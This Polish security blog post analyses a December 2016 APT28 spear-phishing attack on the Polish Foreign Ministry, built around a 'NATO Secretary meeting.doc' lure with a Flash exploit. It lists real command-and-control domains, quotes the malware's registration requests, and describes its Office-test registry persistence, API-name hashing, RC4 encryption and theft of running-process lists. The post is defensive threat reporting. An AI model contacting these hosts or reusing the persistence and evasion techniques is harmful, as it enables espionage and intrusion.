piątek, 6 stycznia 2017

Ataki na instytucje rządowe - grudzień 2016

Kilka dni temu od zespołu reagowania na incydenty komputerowe Ministerstwa Spraw Zagranicznych otrzymaliśmy informacje o wykryciu i zablokowaniu kolejnej próby ataku przeprowadzonego przez grupę APT28. Zarówno tym razem jak i poprzednio atak został przeprowadzony przeciw zaledwie kilku użytkownikom ministerstwa, co dodatkowo utrudniało wykrycie ataku.

Wektor ataku (opisany poniżej przez zespół reagowania MSZ i Prevenity), wykorzystana podatność, dobór grupy docelowej oraz konta z którego wysłano wiadomość potwierdza, że polska administracja rządowa regularnie narażana jest na szczególnie wyrafinowane ataki.

W maju 2016 roku ale i wcześniej opisywaliśmy ataki na polskie instytucje rządowe [1]. Później ataki te były opisywane między innymi przez firmę Palo Alto [2]. Grupa stojąca za tymi atakami nazywana jest  ATP28/Sofacy/Fancy Bear i jeszcze kilka innych. Ostatnio znowu jest o niej głośno za sprawą wyborów w Stanach Zjednoczonych [3]. Ciekawym skutkiem ataków są ostatnie decyzje administracji amerykańskiej [4] i [5] polegające na wydaleniu rosyjskich dyplomatów.

Kilka dni temu grupa ta rozsyłała z serwerów jednej z zagranicznych instytucji rządowych wiadomość z załącznikiem – dokumentem o nazwie „NATO Secretary meeting.doc” [6]. Celem ataku była oczywiście kradzież poufnych dokumentów z zainfekowanych komputerów pracowników instytucji rządowych.
Poniżej fragment infekującego dokumentu:


Dokument zawierał obiekt flash, który wykorzystuje błąd w wirtualnej maszynie Adobe Flash Player. Poniżej zawartość po dekompresji.
 

Gdy użytkownik otworzył załącznik jego komputer nawiązywał połączenia między innymi z tymi serwerami C&C:
  • miropc.org
  • gtranm.com
  • zpfgr.com
Połączenie do pierwszego serwera miało na celu zarejestrowanie zainfekowanego komputera. Poniżej przykłady zapytań:

GET /nato?A=t&SA=t&SV=t&EV=t&MP3=t&AE=t&VE=t&ACC=t&PR=t&SP=f&SB=f&DEB=f&V=WIN%2011%2C7%2C700%2C269&M=Adobe%20Windows&R=1366x768&COL=color&AR=1.0&OS=Windows%207&ARCH=x86&L=pl&IME=t&PR32=t&PR64=t&PT=ActiveX&AVD=f&LFD=f&WD=f&TLS=t&ML=5.1&DP=72 HTTP/1.1

GET /nato?A=t&SA=t&SV=t&EV=t&MP3=t&AE=t&VE=t&ACC=t&PR=t&SP=f&SB=f&DEB=f&V=WIN%2011%2C7%2C700%2C269&M=Adobe%20Windows&R=1024x768&COL=color&AR=1.0&OS=Windows%207&ARCH=x86&L=en&IME=t&PR32=t&PR64=f&PT=ActiveX&AVD=f&LFD=f&WD=f&TLS=t&ML=5.1&DP=72 HTTP/1.1

Następnie do kolejnych serwerów przesyłane są zaszyfrowane komunikaty zawierające szczegółowe informacje o zainfekowanym hoście. Podobnie jak w poprzednich kampaniach intruzi na początku sprawdzali czy przypadkiem zainfekowany komputer nie jest wykorzystywany wyłącznie do analizy ich załącznika. Poniżej przykład przesyłanego komunikatu:


Bez wątpienia cechą charakterystyczną tej grupy jest nietypowy sposób „instalacji” złośliwego oprogramowania. Tworzone są klucze rejestru Office test, Special i Pref. Domyślna wartość dla Perf to ścieżka do pliku DLL – pliku ze złośliwym oprogramowaniem [7].


 

Grupa wprowadziła pewne usprawnienie w porównaniu do poprzednich prób. Nie potrzebują już dwóch bibliotek (celem pierwszej było załadowanie do pamięci procesu aplikacji z pakietu Microsoft Office drugiej biblioteki) a jednej dodatkowo zabezpieczonej przed analizą statyczną i dynamiczną.
Biblioteka eksportuje wyłącznie standardowy punkt wejścia DllEntryPoint. Większość nazw bibliotek i wywoływanych funkcji jest szyfrowana lub nazwy przechowywane są w postaci wartości hash.

Poniżej fragment kodu wywołującego funkcję odczytującą z PEB nazwę biblioteki. Podświetlony jest jej hash – kernel32.dll. Tą technikę opisywaliśmy na naszym blogu.









Wartości hash wyliczane są w podobny sposób do opisywanego przez nas. Jedyną różnicą jest wykorzystanie XOR do dodatkowego kodowania znaków. Poniżej fragment kodu:


Część z danych jest szyfrowana za pomocą algorytmu RC4. W zależności do wywoływanej funkcji wykorzystywane są różne klucze. Przykłady wykorzystywanych kluczy.



Poniżej fragment funkcji, która decyduje o tym, który z kluczy szyfrujących/deszyfrujących ma być użyty do odszyfrowania danych.

Złośliwe oprogramowanie między innymi wysyła do serwera C&C informacje o uruchomionych aplikacjach. Jest to realizowane poprzez wywołanie funkcji ZwQuerySystemInformation z System Information Class 5. Poniżej przykład danych, które po zaszyfrowaniu będą wysyłane do serwerów C&C.

Wersja odszyfrowana:


Źródła:

[1] http://malware.prevenity.com/2016/05/analiza-ataku-z-maja-2016-na-instytucje.html
[2] http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/
[3] https://www.theguardian.com/technology/2016/oct/07/us-russia-dnc-hack-interfering-presidential-election
[4] http://www.rp.pl/Polityka/161229028-USA-poinformowaly-o-wydaleniu-35-rosyjskich-dyplomatow.html
[5] https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
[6] File: NATO Secretary meeting.doc
MD5: 9FE3A0FB3304D749AEED2C3E2E5787EB
[7] File: prtray.dll
MD5: 58D7585CC7DECEC9CF046AA0D8FFCC4D

Ostatnia modyfikacja: 30 grudzień 2016

Brak komentarzy:

Prześlij komentarz